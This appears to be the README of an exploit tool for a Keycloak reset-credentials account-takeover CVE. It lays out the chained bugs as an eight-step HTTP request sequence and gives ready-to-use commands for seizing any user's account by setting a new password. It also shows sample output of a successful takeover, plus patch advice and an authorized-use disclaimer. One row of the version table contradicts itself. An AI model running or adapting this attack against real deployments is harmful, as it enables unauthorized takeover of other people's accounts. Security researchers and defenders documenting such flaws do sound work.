
Exploit for CVE-2026-18963, a critical unauthenticated account takeover in Keycloak's reset-credentials flow, chaining two bugs to bypass email verification and set a new password.
CVSS 9.1 Critical · Keycloak 26.0.0 – 26.7.1 · Unauthenticated
A critical vulnerability in Keycloak's reset-credentials flow that allows an unauthenticated attacker to take over any user account without email verification by chaining two bugs in the authentication session handling.
| Field | Value |
|---|
| CVE | CVE-2026-18963 |
| CVSS Score | 9.1 (Critical) |
| CVSS Vector | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N |
| CWE | CWE-640 — Weak Password Recovery Mechanism |
| Affected | Keycloak 26.0.0 – 26.7.1 |
| Patched | 26.4.15 / 26.6.6 / 26.7.2 / 26.8.0 |
| Component | keycloak-services (reset-credentials flow) |
| Reference | https://github.com/keycloak/keycloak/issues/51833 |
Two bugs are chained:
Bug 1 — tryAnotherWay handler stores the note
AUTHENTICATION_SELECTOR_SCREEN_DISPLAYED = "true" in the auth session without scoping it to any execution ID.
Bug 2 — ResetCredentialEmail.action() calls context.success() (skipping email verification entirely) whenever that note is present, without checking ACTION_TOKEN_USER_ID.
1. GET /realms/{realm}/protocol/openid-connect/auth
→ Establish OIDC session, extract forgot-password link
2. GET /login-actions/reset-credentials?...
→ Load reset-credentials form
3. POST tryAnotherWay=on
→ Sets AUTHENTICATION_SELECTOR_SCREEN_DISPLAYED note (Bug 1)
4. POST username={target} → selector form
→ Binds target user to auth session, triggers email step
5. GET /login-actions/restart?...
→ Optional: mirror browser session polling
6. GET /login-actions/reset-credentials?... (same URL as step 2)
→ Stale selector note still present → credential selector re-appears
7. POST username={target} → stale selector
→ ResetCredentialEmail sees the note, calls context.success() (Bug 2)
→ Flow advances directly to UPDATE_PASSWORD — no email sent
8. POST password-new={attacker_password}
→ Account taken over
python3 -m pip install requests
python3 exploit_cve_2026_18963.py \
--url https://target.com \
--realm master \
--username [email protected] \
--new-password NewPass123!
--url Keycloak base URL (required)
--realm Target realm (default: master)
--username Username or email of the account to take over (required)
--new-password Password to set on the target account (required)
--client-id OIDC client ID (default: account)
--auth-prefix auto | new | old
auto = detect automatically (default)
new = /realms/... (Keycloak >= 17)
old = /auth/realms/... (Keycloak < 17)
-v, --verbose Print full HTTP trace
--skip-version-check
# Auto-detect old/new Keycloak URL prefix
python3 exploit_cve_2026_18963.py \
--url https://sso.example.com \
--realm myrealm \
--username [email protected] \
--new-password Pwn3d2026!
# Force legacy /auth/ prefix (Keycloak < 17)
python3 exploit_cve_2026_18963.py \
--url https://sso.example.com \
--realm myrealm \
--username [email protected] \
--new-password Pwn3d2026! \
--auth-prefix old
# Verbose HTTP trace
python3 exploit_cve_2026_18963.py \
--url https://sso.example.com \
--realm myrealm \
--username [email protected] \
--new-password Pwn3d2026! \
-v
CVE-2026-18963 | Keycloak Unauthenticated Account Takeover
User : [email protected]
[Step 0] Detecting version & path prefix
[+] Path prefix: '/auth' → detected
[?] Version not detected — proceeding anyway.
Target : https://sso.example.com/auth/realms/myrealm
[Step 1] Open reset-credentials form via OIDC forgot-password link
[+] OIDC session established
[+] Reset-credentials form loaded
[Step 2] POST tryAnotherWay=on → set selector note (Bug 1)
[+] Credential selector form received
[Step 3] POST username='[email protected]' → bind user, trigger email step
[+] Email step triggered — session polling URL found
[Step 4] GET session polling path (optional)
[Step 5] Re-visit forgot-password URL → get stale selector
[+] Stale credential selector form received
[Step 6] POST username to stale selector → trigger bypass (Bug 2)
[+] BYPASS SUCCESSFUL — update-password form received
[Step 7] Set new password
============================================================
[+] SUCCESS — Account Takeover Complete
[+] Target : https://sso.example.com/auth/realms/myrealm
[+] User : [email protected]
[+] Password : Pwn3d2026!
============================================================
| Keycloak Version | URL Prefix | Vulnerable |
|---|---|---|
| < 17.x | /auth/realms/ | ✅ if 26.x range |
| ≥ 17.x | /realms/ | ✅ if < 26.7.2 |
| 26.4.15+ / 26.6.6+ / 26.7.2+ / 26.8.0+ | any | ❌ Patched |
The script automatically detects whether the target uses the legacy /auth/ prefix or the modern path, so it works against both old and new deployments without manual configuration.
Patch (recommended): Upgrade to one of the fixed versions:
26.4.15 or later in the 26.4.x line26.6.6 or later in the 26.6.x line26.7.2 or later in the 26.7.x line26.8.0 or laterTemporary workaround: Disable Forgot Password on all realms:
Realm Settings → Login → Forgot Password → OFF
This tool is for authorized security testing and educational purposes only. Use only against systems you own or have explicit written permission to test.